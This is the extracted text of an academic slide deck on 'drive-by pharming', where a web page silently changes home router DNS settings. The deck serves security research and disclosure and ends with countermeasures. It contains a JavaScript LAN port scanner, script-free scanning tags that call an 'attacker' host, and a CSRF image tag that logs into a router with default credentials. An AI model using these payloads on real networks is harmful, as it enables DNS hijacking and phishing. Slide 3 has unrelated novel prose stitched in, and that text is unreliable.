SLIDE 1
Drive-By Pharming
Sid Stamm :: Indiana University Zulfikar Ramzan :: Symantec Corporation Markus Jakobsson :: Indiana University
Drive-By Pharming Sid Stamm :: Indiana University Zulfikar Ramzan - - PowerPoint PPT Presentation
Drive-By Pharming Sid Stamm :: Indiana University Zulfikar Ramzan - - PowerPoint PPT Presentation
Drive-By Pharming Sid Stamm :: Indiana University Zulfikar Ramzan :: Symantec Corporation Markus Jakobsson :: Indiana University Phishing Phishing Following these, the cycle would start again. aylesbury beseech "Well, we'll have to talk
SLIDE 2
SLIDE 3
Phishing
Following these, the cycle would start again. aylesbury beseech "Well, we'll have to talk about that, won't we? What he had burned had been nothing more than an illusion with a title page on top” blank pages interspersed with written rejects and
- culls. at least, not all of them. She killed him. "Her voice was rising. A jury might
let you off by reason of insanity, but not me, Annie. Not that I would ever try to change your mind about anything you chose to think” a Mister Smart Guy like you who thinks for a living. It had taken her less than twenty minutes to read his first stab at it; it had been an hour since she had taken this sheaf of twenty-one
- pages. caricature
SLIDE 4
Phishing
SLIDE 5
Crimeware
More Info: http://www.apwg.org
SLIDE 6
Pharming
SLIDE 7
Browser Problems
SLIDE 8
Browser History Snooping
http://browser-recon.info
SLIDE 9
Browser History Snooping
http://browser-recon.info
SLIDE 10
XSS
SLIDE 11
CSRF
http://sidstamm.com/netflixcsrf.html
SLIDE 12
Host Scanning
Attacking from Victim’s Browser
evil code
x x x x
SLIDE 13
Host Scanning
window.onerror = function(msg, url) { if(!msg.match(/Error loading script/)){ serverIsLive(url); } }; for(i=0; i<255; i++) { s = document.createElement(“script”); s.src = “http://192.168.0.” + i; document.body.appendChild(s); }
http://www.spidynamics.com/spilabs/education/articles/JS-portscan.html
SLIDE 14
Script-Free Scanning
<img src="http://attacker/record-time/?id=a" /> <link rel="stylesheet" type="text/css" href="http://192.168.0.1/" /> <img src="http://attacker/record-time/?id=b" /> <link rel="stylesheet" type="text/css" href="http://192.168.0.2/" /> <img src="http://attacker/record-time/?id=c" /> ...
http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html
SLIDE 15
Router Woes
- GET v. POST
- admin:admin
- partial submit
- predictability
SLIDE 16
Drive-By Pharming
ISP
™
ISP
™
Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim
Router’s Internal Net
SLIDE 17
Normal DNS Lookup
ISP
™
ISP
™
Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim
Router’s Internal Net
SLIDE 18
Normal DNS Lookup
ISP
™
ISP
™
Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim
Router’s Internal Net
LOOKUP evil.com
SLIDE 19
Normal DNS Lookup
ISP
™
ISP
™
Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim
Router’s Internal Net
LOOKUP evil.com
Evil.com=1.1.1.1
SLIDE 20
Drive-By Attack
ISP
™
ISP
™
Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim
Router’s Internal Net
SLIDE 21
Drive-By Attack
ISP
™
ISP
™
Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim
Router’s Internal Net
GET 1.1.1.1
SLIDE 22
Pharmed DNS Lookup
ISP
™
ISP
™
Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim
Router’s Internal Net
SLIDE 23
Pharmed DNS Lookup
ISP
™
ISP
™
Attacker’s DNS + Web Server ISP’s DNS Server ISP’s Gateway Victim
Router’s Internal Net
LOOKUP
SLIDE 24
How This Happens
POST -> GET
( PRE-ARRANGED )
SLIDE 25
How This Happens
<img src=“http://admin:@192.168.0.1/cfg.cgi?...”>
( CSRF )
SLIDE 26
Fallout
(plausible)
SOURCES: “warkitting” paper, http://www.thecounter.com
American Web Users
5.0% 47.5% 47.5%
JS + Default Password JS + Custom Password No JS
SLIDE 27
Fallout
Netgear WGR614 D-Link DI-524 Linksys WRT54G
SLIDE 28
http://www.cisco.com/warp/public/707/cisco-sr-20070215-http.shtml
Cisco 806 Cisco 826 Cisco 827 Cisco 827H Cisco 827-4v Cisco 828 Cisco 831 Cisco 836 Cisco 837 Cisco SOHO 71 Cisco SOHO 76 Cisco SOHO 77 Cisco SOHO 77H Cisco SOHO 78 Cisco SOHO 91 Cisco SOHO 96 Cisco SOHO 97 ...
Fallout
Netgear WGR614 D-Link DI-524 Linksys WRT54G
SLIDE 29
Router Zombie Networks?
SLIDE 30
Router Zombie Networks?
SLIDE 31
Viral Spread
...
SLIDE 32
Viral Spread
...
SLIDE 33
Countermeasures
SLIDE 34
Countermeasures
SLIDE 35
Countermeasures
SLIDE 36
Countermeasures
SLIDE 37
Countermeasures
ISP
SLIDE 38